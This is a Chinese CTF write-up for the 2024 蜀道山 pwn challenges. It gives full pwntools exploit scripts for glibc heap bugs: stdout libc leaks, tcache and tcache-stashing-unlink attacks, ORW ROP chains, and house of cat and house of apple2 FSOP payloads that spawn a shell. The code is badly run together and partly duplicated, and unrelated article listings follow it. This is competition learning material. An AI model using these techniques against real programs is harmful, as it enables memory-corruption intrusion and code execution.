2024蜀道山高校联合公益赛

 mixian

数组越界,可以去攻击stdout泄露libc,之后伪随机数绕过

from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
#def pr(a):#print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')#context(os='linux',arch='i386',log_level='debug')   
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')   
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') 
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so') 
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')    
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')elf1=ctypes.CDLL("./libc-2.31.so")
elf1.srand(elf1.time(0))
payload = elf1.rand()%9011rl("Which question do you want to answer?")
#bug()
sl(str(-8))
rl("Then you can input your answer.")sl(p64(0xfbad1800) + p64(0)*3 + b'\x00')libc_base=get_addr64()-2013568
li(hex(libc_base))puts=libc_base+libc.sym['puts']rl("Which question do you want to answer?")sl(str(3))
rl("Then you can input your answer.")tar=puts+payload
sl(p64(tar))rl("Which question do you want to answer?")
#bug()
sl(str(3))
rl("Then you can input your answer.")tar=puts+payload
sl(p64(tar))
inter()	
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
#def pr(a):#print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')#context(os='linux',arch='i386',log_level='debug')   
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')   
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') 
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so') 
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')    
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')elf1=ctypes.CDLL("./libc-2.31.so")
elf1.srand(elf1.time(0))
payload = elf1.rand()%9011rl("Which question do you want to answer?")
#bug()
sl(str(-8))
rl("Then you can input your answer.")sl(p64(0xfbad1800) + p64(0)*3 + b'\x00')libc_base=get_addr64()-2013568
li(hex(libc_base))puts=libc_base+libc.sym['puts']rl("Which question do you want to answer?")sl(str(3))
rl("Then you can input your answer.")tar=puts+payload
sl(p64(tar))rl("Which question do you want to answer?")
#bug()
sl(str(3))
rl("Then you can input your answer.")tar=puts+payload
sl(p64(tar))
inter()	

tcache stashing unlink attack

攻击成效:向任意地址写堆地址或分配任意地址

攻击前提:

能够控制S m a l l B i n c h u n k \textcolor{orange}{Small\ Bin\ chunk}Small Bin chunk的bk指针

程序可以越过Tache取chunk。(calloc可以做到)

程序可以分配两种不同大小且属于U n s o r t e d B i n \textcolor{orange}{Unsorted\ Bin}Unsorted Bin的chunk

大致是说,当我们从small bin拿出来chunk的时候,程序会检查当前small bin链上是否还有剩余堆块,如果有的话并且tcache bin的链上还有空余位置(前提是不能为空,不然即使有空余也不行),就会把剩下的堆块链进tcachebin里面,但是链进去的时候没有进行链表的检查,所以我们可以在这个时候攻击这个即将链进tcachebin的堆块的bk指针,就可以达到任意地址写一个main_arena的效果。

任意地址写之后一个栈溢出,打orw的链子

关键:进入smallbin的chunk大小等于tcachebin中堆块数量为6的堆块大小

tcache_stashing_unlink_attack的两种效果 - s4ndw1ch - 博客园

add calloc申请堆块

uaf

from pwn import*
from struct import pack
#from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote('gamebox.yunyansec.com',39855)
p=process('./pwn')
libc=ELF("./libc.so.6")
elf=ELF('./pwn')
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
def pr(a):print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')def add(size):rl("Your choice:")sl(str(1))rl("size:")sl(str(size))def free(index):rl("Your choice:")sl(str(2))rl("Idx:")sl(str(index))def edit(index,content):rl("Your choice:")sl(str(3))rl("Idx:")sl(str(index))rl("Content:")s(content)def show(index):rl("Your choice:")sl(str(4))rl("Idx:")sl(str(index))for i in range(10):#0-9add(0x310)
for i in range(6):free(i)for i in range(5):#10-14add(0xc8)
for i in range(5):free(9+i)free(6)
show(6)libc_base=get_addr64()-2018272
li(hex(libc_base))add(0x241)#15
add(0x310)#16
#smallbin1  #7free(8)add(0x241)
add(0x310)
rl('Add Ptr: ')
rl('0x')
heap=int(p.recv(6),16)-4464
li(hex(heap))bss=0x4040c0
edit(8,b'a'*0x240+p64(0)+p64(0xd0)+p64(heap)+p64(bss-0x10))add(0xc0)rl("Your choice:")
sl(str(5))system,bin=get_sb()
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
#rdx = libc_base+libc.search(asm("pop rdx\nret")).__next__()
rdx = libc_base+libc.search(asm("pop rdx\npop r12\nret")).__next__()
read_addr=libc_base+libc.sym['read']
open_addr=libc_base+libc.sym['open']
write_addr=libc_base+libc.sym['write']bss=0x404080+0x200
leave_ret=0x0000000000401324pay=b'a'*0x30+p64(bss)+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x1000)*2+p64(read_addr)+p64(leave_ret)
#bug()
s(pay)payload  =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(bss)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx)
payload +=p64(0x100)*2
payload +=p64(read_addr)payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx)
payload +=p64(0x100)*2
payload +=p64(write_addr)
pause()
s(payload)inter()

no_leak_heap_challenge

只有add,free两个功能,add大小,free存在uaf,给出堆块地址,有后门地址

得不到libc地址,一种新的攻击方法

思路:通过申请大块的堆块,利用指针残留得到mainarea的地址,去修改后三位为malloc_hook,修改malloc_hook为后门

注意堆块布局

堆块1content伪造好size,chunk3,4利用fastbinattack,将伪造的size堆块申请出来,可以修改下一个堆块的fd和size位,利用这样修改mainarea,同时伪造malloc_hook的size

b'\x00'*0x58+p64(0x71)+p16(0x4aed)

chunk1

0x68

p64(0)

p64(0x71)

chunk2

0x300

chunk3

0x68

chunk4

0x68

chunk5

0x18

第二次fastbinattack攻击malloc_hook为后门

mini_notebook

2.31

add,free,show,edit四个功能,一个区间只能申请一个堆块,存在uaf

add只能申请<0x38的堆块

edit可以造成double free完成tcachebin attack

先利用tcachebin attack攻击指针区,更改为7,之后free就会进入unsrtdbin,就可以得到libc地址

之后再次利用tcachebin攻击,更改malloc_hook为one获取shell

from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
#def pr(a):#print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')#context(os='linux',arch='i386',log_level='debug')   
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')   
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') 
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so') 
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')    
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
p=remote('gz.imxbt.cn',20320)
#p = process('./pwn')def add(size):rl(">>> ")sl(str(1))rl("size???")sl(str(size))
def free():rl(">>> ")sl(str(2))
def show():rl(">>> ")sl(str(3))
def edit(content):rl(">>> ")sl(str(4))rl("content???")s(content)add(0x38)
free()edit(p64(0)*2)
free()
show()
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x2a0
li(hex(heap_base))
edit(p64(heap_base+0x030))
add(0x28)
free()
#bug()
add(0x38)
add(0x38)
edit(p64(0)*5+p64(0x7000000000000))add(0x38)
free()
edit(p64(0)*2)
free()
edit(p64(heap_base+0x010))add(0x38)
add(0x38)free()
show()
libc_base=get_addr64()-2018272
li(hex(libc_base))
system,bin_sh=get_sb()
malloc_hook,free_hook=get_hook()
one = libc_base + 0xe3b01
edit(p64(0x30000))add(0x28)
free()
edit(p64(0)*2)
free()
edit(p64(malloc_hook))add(0x28)
add(0x28)
edit(p64(one))#bug()
add(0x28)
inter()	

one_heap

2.39

add,free,show三个功能

add有大小限制,只能申请一个堆块

free存在uaf

show最后会清空堆块中的内容,可以完成double free的操作

思路:

tcachebin attack攻击tcachebin指针区,并设置好bins,也就是之后申请堆块的起始地址

这里要提前设置好bins,否则之后没办法申请,总之,各种报错

中间的flag检测,因为可以double free,所以=没有

得到libc地址后继续申请堆块,去控制tcache的entires(已经布置好了)之后攻击_IO_list_all,走apple2或者cat都可以

一个堆块塞不完完整的fake_io,设置两个连着的堆块,打house of cat

from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
#def pr(a):#print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')#context(os='linux',arch='i386',log_level='debug')   
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')   
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') 
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so') 
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')    
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')def add(size,content):rl("Please input you choice: ")sl(str(1))rl("Please input size:")sl(str(size))rl("input you context:")s(content)def free():rl("Please input you choice: ")sl(str(2))def magic():rl("Please input you choice: ")sl(str(3))add(0xff,b'a'*0x28)
free()
magic()
rl("If you feel lost, you may as well empty everything and start over")
p.recv(1)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x2a0
key=heap_base&0xfffffffffffff000
li(hex(key))
li(hex(heap_base))
heap_xor=(heap_base+0x2a0>>12)^(heap_base+0x10)
add(0xff,b'a'*0x28)
for i in range(7):free()magic()free()
add(0x68,p64(heap_xor))
add(0xff,b'a')
add(0xff,p64(0)*4+p16(7)*48+p64(0)*14+p64(heap_base+0xf0))
#bug()
free()
add(0x98,p16(7)*56)
add(0x58,b'a')magic()libc_base=get_addr64()-2112288
li(hex(libc_base))
system,bin_sh=get_sb()heap1=heap_base+0x3b0
heap2=heap_base+0x3b0+0xf0
ret = libc_base+libc.search(asm("ret")).__next__()
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
rdx = libc_base+libc.search(asm("pop rdx\nret")).__next__()
#rdx = libc_base+libc.search(asm("pop rdx\npop r12\nret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
system,binsh=get_sb()
open=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
setcontext=libc_base + libc.sym['setcontext']
_IO_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']chunk3=heap1 # 伪造的fake_IO结构体的地址fake_IO_FILE  =p64(0)*8
fake_IO_FILE +=p64(1)+p64(2)     # rcx!=0(FSOP)
fake_IO_FILE +=p64(chunk3+0xb0)  #_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+61)#call addr  (system/setcontext)
fake_IO_FILE +=p64(0)            #_markers
fake_IO_FILE +=p64(0)            #_chain
fake_IO_FILE +=p64(0)            #_fileno
fake_IO_FILE +=p64(0)            #_old_offset
fake_IO_FILE +=p64(0)            #_cur_column
fake_IO_FILE +=p64(heap_base-0x2a0)    # _lock = writable address
fake_IO_FILE  =fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(chunk3+0x30)  #_wide_data,rax1_addr
fake_IO_FILE  =fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE +=p64(1)            # _mode = 1
fake_IO_FILE  =fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE +=p64(_IO_wfile_jumps+0x30)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*3li(hex(len(fake_IO_FILE)))
add(0xf8,b'a'*8+p64(_IO_list_all)+p64(heap1)+p64(heap2))
add(0xe8,p64(heap1))add(0xf8,fake_IO_FILE)fake_IO_FILE  =p64(0)*4       # padding
fake_IO_FILE +=p64(chunk3+0x40)   # rax2>>setcontext
fake_IO_FILE +=b'/flag\x00\x00\x00'+p64(0)*6+p64(chunk3+0x158)+p64(rdi+1)+p64(rdi)+p64(bin_sh)+p64(system)
add(0xff,fake_IO_FILE)
bug()
rl("Please input you choice: ")
sl(str(5))inter()	

还可以打house of apple2

from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
#def pr(a):#print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')#context(os='linux',arch='i386',log_level='debug')   
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')   
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') 
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so') 
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')    
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
p=remote('gz.imxbt.cn',20980)
#p = process('./pwn')def add(size,content):rl("Please input you choice: ")sl(str(1))rl("Please input size:")sl(str(size))rl("input you context:")s(content)def free():rl("Please input you choice: ")sl(str(2))def magic():rl("Please input you choice: ")sl(str(3))add(0xf0,b'a')
free()
magic()
rl("If you feel lost, you may as well empty everything and start over")
p.recv(1)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x2a0
key=heap_base&0xfffffffffffff000
li(hex(key))
li(hex(heap_base))
heap_xor=(heap_base+0x2a0>>12)^(heap_base+0x10)
free()
magic()free()
add(0xf0,p64(heap_xor))
add(0xf0,b'a')
add(0xf0,p16(1)*7+p16(8)+b'\0'*(0x70-8)+p64(0x91)+p64(0)*7+p64(heap_base+0x90))
for i in range(7):free()magic()
free()
add(0x98,p16(1)*8+p64(0)*14+p64(heap_base+0x90)*3)
add(0x58,p64(0))
magic()libc_base=get_addr64()-2112288
li(hex(libc_base))
system,bin_sh=get_sb()heap1=heap_base+0x2a0
heap2=heap_base+0x2a0+0x80ret = libc_base+libc.search(asm("ret")).__next__()
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
rdx = libc_base+libc.search(asm("pop rdx\nret")).__next__()
#rdx = libc_base+libc.search(asm("pop rdx\npop r12\nret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
system,binsh=get_sb()
open=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
setcontext=libc_base + libc.sym['setcontext']
_IO_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']fake_file_addr = heap1+0x10 #chunk1
# ref: https://blog.csome.cc/p/houseofminho-wp/
fake_file = flat({0x0: b"  sh;",0x28: system,0xa0: fake_file_addr-0x10, # wide data0x88: fake_file_addr+0x100, # 可写,且内存为0即可0xD0: fake_file_addr+0x28-0x68, # wide data vtable0xD8: _IO_wfile_jumps, # vtable  
}, filler=b"\x00")fake_file = b'\0'*16+fake_file
li(hex(len(fake_file)))
add(0x38,p64(_IO_list_all)+p64(0)*4+p64(heap1)+p64(heap2))add(0x18, p64(fake_file_addr))
add(0x68, fake_file[:0x68])
add(0x78, fake_file[0x80:0x80+0x78])
#bug()
rl("Please input you choice: ")
sl(str(4))inter()	

参考:

[蜀道山2024] PWN-CSDN博客

蜀道山CTF-PWN全解WP - ZLSF的博客

[Black Hat 2023] Pwn Houseofminho Csome writeup · Csome

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/484723.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【若依框架】RuoYi-Vue的前端和后端配置步骤和启动步骤

&#x1f399;告诉你&#xff1a;Java是世界上最美好的语言 &#x1f48e;比较擅长的领域&#xff1a;前端开发 是的&#xff0c;我需要您的&#xff1a; &#x1f9e1;点赞❤️关注&#x1f499;收藏&#x1f49b; 是我持续下去的动力&#xff01; 目录 一. 作者有话说 …

Python毕业设计选题:基于大数据的旅游景区推荐系统_django

开发语言&#xff1a;Python框架&#xff1a;djangoPython版本&#xff1a;python3.7.7数据库&#xff1a;mysql 5.7数据库工具&#xff1a;Navicat11开发软件&#xff1a;PyCharm 系统展示 系统首页界面 用户注册界面 用户登录界面 景点信息界面 景点资讯界面 个人中心界面 …

Endnote 参考文献内容没有按引用顺序进行排序

Endnote 参考文献内容没有按引用顺序进行排序&#xff1a; word论文正文第一个引用就是[4]打头&#xff0c;疯狂卸载重装&#xff0c;修改设置&#xff0c;排查了大半天&#xff0c;最后解决了。 常规解决方案 就是在Endnote 软件里面对outputstyle进行修改&#xff0c;将Biogr…

图像滤波和卷积的不同及MATLAB应用实例

滤波与卷积在图像处理中都是非常重要的运算&#xff0c;但它们有着明显的区别。以下是滤波与卷积的主要不同点&#xff0c;并附带一个MATLAB实例来展示两者在图像处理中的效果差异。 一、滤波与卷积的不同 定义与目的&#xff1a; 1&#xff09;滤波&#xff1a;滤波是一种信…

低级爬虫实现-记录HCIP云架构考试

因工作需要考HCIP云架构&#xff08;HCIP-Cloud Service Solution Architect&#xff09;证书, 特意在淘宝上买了题库&#xff0c; 考过了。 事后得知自己被坑了&#xff0c; 多花了几十大洋。 所以想着在授权期内将题库“爬”下来&#xff0c; 共享给大家。 因为整个过程蛮有…

Scala—Sliding(滑动窗口)用法详解

Scala—Sliding&#xff08;滑动窗口&#xff09;用法详解 Scala 的 sliding 方法在处理集合时&#xff0c;可以方便地获取一个集合的“滑动窗口”&#xff08;能够按照指定的窗口大小和步长从集合中获取子集合&#xff09;。 sliding 方法定义&#xff1a; def sliding(size…

一、理论基础-PSI

之前参加了隐语第2期&#xff0c;对隐语SecretFlow框架有了大致的了解&#xff0c;这次参加隐语第4期&#xff0c;学习下PSI和PIR。 一、PSI定义 首先介绍PSI的定义&#xff0c;PSI&#xff08;隐私集合求交&#xff0c;Private Set Intersection即PSI)是安全多方计算&#x…

11.15【JAVA】【网络编程】【DEBUG】

代码以开源至cqujk/CquJavaEE 的myExp-socketCode分支,欢迎拷打 参考REPO Java 11: Standardized HTTP Client API 没反应 这是因为这应当是两个线程,当server创建好套接字后,进入accept时,就不会继续向下运行,客户端自然也就无法发送请求 首先要保证server进入accept(这个…

国家信息中心单志广:智慧城市转型中的数据要素价值释放

今日&#xff0c;由中国电信集团主办的2024数字科技生态大会数据要素合作论坛在广州市举办。国家发改委国家信息中心信息化和产业发展部主任单志广在论坛发展主旨演讲&#xff1a;智慧城市转型中的数据要素价值释放&#xff0c;主要包括发展新形势、数据新要素、数据新产权、数…

RTSP摄像头8K超高清使用场景探究和播放器要求

技术背景 8K 分辨率拥有7680x4320像素&#xff0c;像素数量是4K的四倍、1080P 的16倍。这意味着它能够呈现出极其清晰、细腻的图像&#xff0c;观众可以看到更多的细节&#xff0c;比如在体育赛事直播中&#xff0c;运动员的表情、动作细节&#xff0c;赛场上的微小标识等都能…

SpringBoot整合Mockito进行单元测试超全详细教程 JUnit断言 Mockito 单元测试

Mock概念 Mock叫做模拟对象&#xff0c;即用来模拟未被实现的对象可以预先定义这个对象在特定调用时的行为&#xff08;例如返回值或抛出异常&#xff09;&#xff0c;从而模拟不同的系统状态。 导入Mock依赖 pom文件中引入springboot测试依赖&#xff0c;spring-boot-start…

车机端同步outlook日历

最近在开发一个车机上的日历助手&#xff0c;其中一个需求就是要实现手机端日历和车机端日历数据的同步。然而这种需求似乎没办法实现&#xff0c;毕竟手机日历是手机厂商自己带的系统应用&#xff0c;根本不能和车机端实现数据同步的。 那么只能去其他公共的平台寻求一些机会&…

多人聊天室 NIO模型实现

NIO编程模型 Selector监听客户端不同的zhuangtai不同客户端触发不同的状态后&#xff0c;交由相应的handles处理Selector和对应的处理handles都是在同一线程上实现的 I/O多路复用 在Java中&#xff0c;I/O多路复用是一种技术&#xff0c;它允许单个线程处理多个输入/输出&…

电商产品自动化测试实战—解锁高效测试新技能

在这个数字化时代&#xff0c;电子商务行业的竞争愈发激烈&#xff0c;产品品质和稳定性成为了企业赢得市场的关键。而高质量的测试工作&#xff0c;正是确保产品品质和稳定性的重要保障。为此&#xff0c;我们特别推出了一场电商产品自动化测试实战公开课&#xff0c;旨在帮助…

【JavaWeb后端学习笔记】Mybatis基础操作以及动态SQL(增、删、改、查)

Mybatis 0、环境准备0.1 准备数据库表emp&#xff1b;0.2 准备SpringBoot工程0.3 配置文件中引入数据库连接信息0.4 创建对应的实体类0.5 准备Mapper接口 1、MyBatis基础操作1.1 删除1.2 新增&#xff08;主键返回&#xff09;1.3 更新1.4 查询&#xff08;解决字段名与类属性名…

SpringBoot该怎么使用Neo4j - 优化篇

文章目录 前言实体工具使用 前言 上一篇中&#xff0c;我们的Cypher都用的是字符串&#xff0c;字符串拼接简单&#xff0c;但存在写错的风险&#xff0c;对于一些比较懒的开发者&#xff0c;甚至觉得之间写字符串还更自在快速&#xff0c;也确实&#xff0c;但如果在后期需要…

如何用AI生成胶片风格的场景图 - 实用教程

如何用AI生成胶片风格的场景图 - 实用教程 在这个教程中,我们将介绍如何使用Recraft AI生成复古胶片风格的场景图。通过简单的步骤,你就能创建出独特的复古风格图片。 成功案例展示 小红书爆火作品 11月22日,小红书博主"四月崔aprilchui"发布胶片风格的场景图…

在M3上面搭建一套lnmp环境

下载docker-desktop 官网下载docker-desktop 切换镜像源 {"builder": {"gc": {"defaultKeepStorage": "20GB","enabled": true}},"experimental": false,"registry-mirrors": ["https://docke…

思特奇亮相2024数字科技生态大会,以“智”谋新共赢AI新时代

12月3-5日,2024数字科技生态大会在广州琶洲广交会展馆D区盛大举行。大会以“AI赋能 共筑数字新生态”为主题,汇聚行业领军企业、创新型科技公司以及众多专家学者,共探数字经济时代未来发展新机遇。 作为中国电信长期重要的生态伙伴,思特奇受邀参会并亮相18.2号馆天翼AI展区,重点…

【全网最新】若依管理系统基于SpringBoot的前后端分离版本开发环境配置

目录 提前准备&#xff1a; 下载源代码 设置依赖 设置后台连接信息 运行后台 运行前端 安装npm依赖 启动前端 登录网页客户端 提前准备&#xff1a; 1、安装mysql 5以上就可以。 2、安装redis. 3、安装npm npm下载地址&#xff1a;https://nodejs.org/dist/v22.12…